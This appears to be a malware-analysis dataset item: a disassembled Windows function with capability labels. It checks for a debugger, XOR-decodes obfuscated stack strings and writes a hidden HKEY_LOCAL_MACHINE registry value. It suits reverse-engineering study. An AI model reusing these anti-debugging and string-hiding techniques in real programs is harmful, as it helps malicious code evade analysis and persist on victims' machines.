Function at 0x401210
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Set registry value

Disassembly:
sub esp, 0x150
mov eax, dword [0x40301c]
xor eax, esp
mov dword [esp + 0x14c], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x401258
push 0x56
push 0
lea eax, [esp + 0x50]
push 0
push eax
call fcn.00401140
add esp, 0x10
xor eax, eax
mov ecx, dword [esp + 0x14c]
xor ecx, esp
call fcn.004014db
add esp, 0x150
ret
push ebx
push ebp
push esi
push edi
push 0x316ab
call dword [sym.imp.MSVCR90.dll_srand]
call dword [sym.imp.MSVCR90.dll_rand]
mov byte [esp + 0x14], al
mov ecx, dword [esp + 0x14]
push ecx
mov eax, 0xd
push 0xb
lea edx, [esp + 0x24]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
push edx
lea eax, [esp + 0x68]
push eax
mov dword [esp + 0x2c], 9
mov dword [esp + 0x30], 0xf
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 5
mov dword [esp + 0x3c], 4
mov dword [esp + 0x40], 0xe
mov dword [esp + 0x48], 0x2e
mov dword [esp + 0x4c], 0x14
call fcn.00401140
mov dl, 0x7f
mov cl, 0x51
mov al, 0x4c
mov bl, 0x4d
mov byte [esp + 0x2c], 0x70
mov byte [esp + 0x2d], 0x6c
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], 0x77
mov byte [esp + 0x30], 0x74
mov byte [esp + 0x31], 0x62
mov byte [esp + 0x32], 0x71
mov byte [esp + 0x33], 0x66
mov byte [esp + 0x34], dl
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x4a
mov byte [esp + 0x37], 0x40
mov byte [esp + 0x38], cl
mov byte [esp + 0x39], al
mov byte [esp + 0x3a], 0x50
mov byte [esp + 0x3b], al
mov byte [esp + 0x3c], 0x45
mov byte [esp + 0x3d], 0x57
mov byte [esp + 0x3e], dl
mov byte [esp + 0x3f], 0x74
mov byte [esp + 0x40], 0x4a
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x47
mov byte [esp + 0x43], al
mov byte [esp + 0x44], 0x54
mov byte [esp + 0x45], 0x50
mov byte [esp + 0x46], 3
mov byte [esp + 0x47], 0x6d
mov byte [esp + 0x48], 0x77
mov byte [esp + 0x49], dl
mov byte [esp + 0x4a], 0x60
mov byte [esp + 0x4b], 0x56
mov byte [esp + 0x4c], cl
mov byte [esp + 0x4d], cl
mov byte [esp + 0x4e], 0x46
mov byte [esp + 0x4f], bl
mov byte [esp + 0x50], 0x57
mov byte [esp + 0x51], 0x75
mov byte [esp + 0x52], 0x46
mov byte [esp + 0x53], cl
mov byte [esp + 0x54], 0x50
mov byte [esp + 0x55], 0x4a
mov byte [esp + 0x56], al
mov byte [esp + 0x57], bl
mov byte [esp + 0x58], dl
mov byte [esp + 0x59], 0x74
mov byte [esp + 0x5a], 0x4a
mov byte [esp + 0x5b], bl
mov byte [esp + 0x5c], 0x47
push 0x35
mov byte [esp + 0x61], al
mov byte [esp + 0x62], 0x54
mov byte [esp + 0x63], 0x50
call fcn.004014d0
mov esi, eax
lea edi, [esp + 0x30]
add esp, 0x18
sub edi, esi
mov ebp, 0x34
lea ebx, [ebx]
mov cl, byte [edi + eax]
xor cl, byte [esp + 0x10]
inc eax
sub ebp, 1
mov byte [eax - 1], cl
jne 0x4013f0
mov al, 0x53
mov byte [esp + 0x4d], al
mov byte [esp + 0x4e], al
mov al, 0x6f
push 0xd
mov byte [esi + 0x34], 0
mov byte [esp + 0x50], 0x62
mov byte [esp + 0x53], 0x6a
mov byte [esp + 0x54], bl
mov byte [esp + 0x55], 0x4a
mov byte [esp + 0x56], 0x57
mov byte [esp + 0x57], 0x7c
mov byte [esp + 0x58], 0x67
mov byte [esp + 0x59], al
mov byte [esp + 0x5a], al
mov byte [esp + 0x5b], 0x50
call fcn.004014d0
mov edi, eax
lea ecx, [esp + 0x50]
add esp, 4
sub ecx, edi
mov ebp, 0xc
mov dl, byte [ecx + eax]
xor dl, byte [esp + 0x10]
inc eax
sub ebp, 1
mov byte [eax - 1], dl
jne 0x401456
lea eax, [esp + 0x14]
push eax
push 0x20006
push ebp
push esi
push 0x80000002
mov byte [edi + 0xc], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4014a6
mov edx, dword [esp + 0x14]
push 0xc
lea ecx, [esp + 0x70]
push ecx
push 1
push eax
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
push edi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
mov ecx, dword [esp + 0x164]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004014db
add esp, 0x150
ret